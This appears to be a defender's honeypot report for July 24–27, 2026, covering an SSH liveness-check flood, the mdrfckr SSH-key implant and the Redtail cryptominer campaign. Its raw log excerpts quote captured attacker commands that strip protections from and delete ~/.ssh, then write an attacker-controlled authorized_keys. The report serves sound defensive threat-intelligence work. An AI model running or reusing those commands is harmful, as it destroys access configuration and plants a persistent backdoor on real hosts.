HONEYPOT REPORT  //  SSH + TELNET + WEB  //  2026-07-24 – 2026-07-27

2026-07-24 – 2026-07-27 — SSH, Telnet + Web Honeypot Report

SSH and telnet connection volume by day

Log filenames lag their contents by one day (UTC rollover); all figures here are keyed on record timestamps, not filenames.

Executive summary

One host dominates this period so completely that the aggregate numbers are close to meaningless without separating it out. 80.190.82.187 opened 27,509 sessions — 64% of everything the SSH sensor saw across four days — and in each one it issued a single command: echo -e "\x6F\x6B", which decodes to the string ok. No credentials harvested, no payload, no follow-up. It is a liveness check being run at industrial scale, and it produced the 30,622-session spike on July 25 that would otherwise look like an attack.

Underneath the noise, two campaigns continued unchanged. The mdrfckr SSH key implant ran 708 times, following its usual sequence: clear immutable flags on ~/.ssh, delete the directory, recreate it, and write a single attacker-controlled authorized_keys. Every instance wrote the identical file — sha256 a8460f44… — which means one operator, one key, and no per-target customization.

The Redtail cryptominer also reappeared with the same multi-architecture upload set: clean.sh, setup.sh, and binaries for arm7, arm8, i686, riscv, and x86_64. Shipping a RISC-V build to a honeypot that has advertised nothing about its architecture is a reasonable indicator that the operator is spraying rather than targeting.

The web sensor is quieter but shows the same actor. The user-agent libredtail-http appears 208 times — the Redtail campaign hitting HTTP and SSH from the same toolkit, which is the cross-sensor link worth following.

Notable sessions — SSH and telnet

Notable sessions — web

Indicators

Payload hosts and URLs

Reputation figures are AbuseIPDB confidence scores with total report counts in parentheses. Read them against the source addresses further down.

Payload hashes

Each hash links to VirusTotal rather than carrying a transcribed detection count, which would be stale within a month.

Other captured artifacts

These were captured by the sensor and hashed alongside the payloads, but neither is a malware sample. Both are still usable indicators — the authorized_keys file is byte-identical across every mdrfckr instance, which makes it a reliable campaign signature. Expect low or zero detections on VirusTotal; that is the correct result for a text file and a newline, not a sign the lookup failed.

Source addresses

Busiest sources on both sensors. Confidence tracks how often an address has been reported elsewhere, which is a measure of volume rather than of danger — compare these scores with the payload hosts above.

Attacker behaviour

Credentials attempted

Client fingerprints

Web paths requested

Raw log excerpts

slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.command.input") | .input' cowrie.2026-07-24.json | sort | uniq -c | sort -rn | head -5

  27507 echo -e "\x6F\x6B"
   1070 uname -s -v -n -r -m
    980 echo OK
    708 cd ~; chattr -ia .ssh; lockr -ia .ssh
    708 cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EA…

slattery@sec:~/archive$ jq -r 'select(.eventid=="cowrie.session.file_upload") | .filename' cowrie.2026-07-2*.json | sort | uniq -c

      7 clean.sh
      7 redtail.arm7
      7 redtail.arm8
      7 redtail.i686
      7 redtail.riscv
      7 redtail.x86_64

MITRE ATT&CK mapping